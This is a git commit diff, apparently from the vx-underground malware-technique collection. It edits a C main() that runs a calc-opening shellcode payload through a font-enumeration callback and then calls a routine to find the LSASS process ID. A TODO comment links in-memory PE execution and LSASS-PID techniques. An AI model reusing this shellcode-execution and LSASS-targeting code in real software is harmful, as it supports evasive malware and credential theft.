cleaned up code

clean up and merge
This commit is contained in:
vxunderground
2022-10-27 08:11:59 -05:00
parent 56f7cfa708
commit 25e642ed13
15 changed files with 248 additions and 442 deletions
+3 -3
View File
@@ -7,7 +7,6 @@
/*
TODO:
- Ping with 'IcmpSendEcho2Ex'
- PID stuff: https://www.mdsec.co.uk/2022/08/fourteen-ways-to-read-the-pid-for-the-local-security-authority-subsystem-service-lsass/
- Run PE in memory https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Executing%20a%20PE%20File%20in%20Memory.zip
- Download file options: https://www.x86matthew.com/view_post?id=ntsockets
- https://learn.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-shansitounicode
@@ -46,10 +45,11 @@ int main(VOID)
SHELLCODE_EXECUTION_INFORMATION Sei = { 0 };
Sei.Payload = GlobalOpenCalcPayload;
Sei.dwLengthOfPayloadInBytes = 277;
Sei.MethodEnum = E_ENUMFONTFAMILIESEXW;
//ShellcodeExecViaEnumDirTreeW(&Sei);
ShellcodeExecutionViaFunctionCallbackMain(&Sei);
dwError = MpfGetLsaPidFromNamedPipe();
return dwError;
}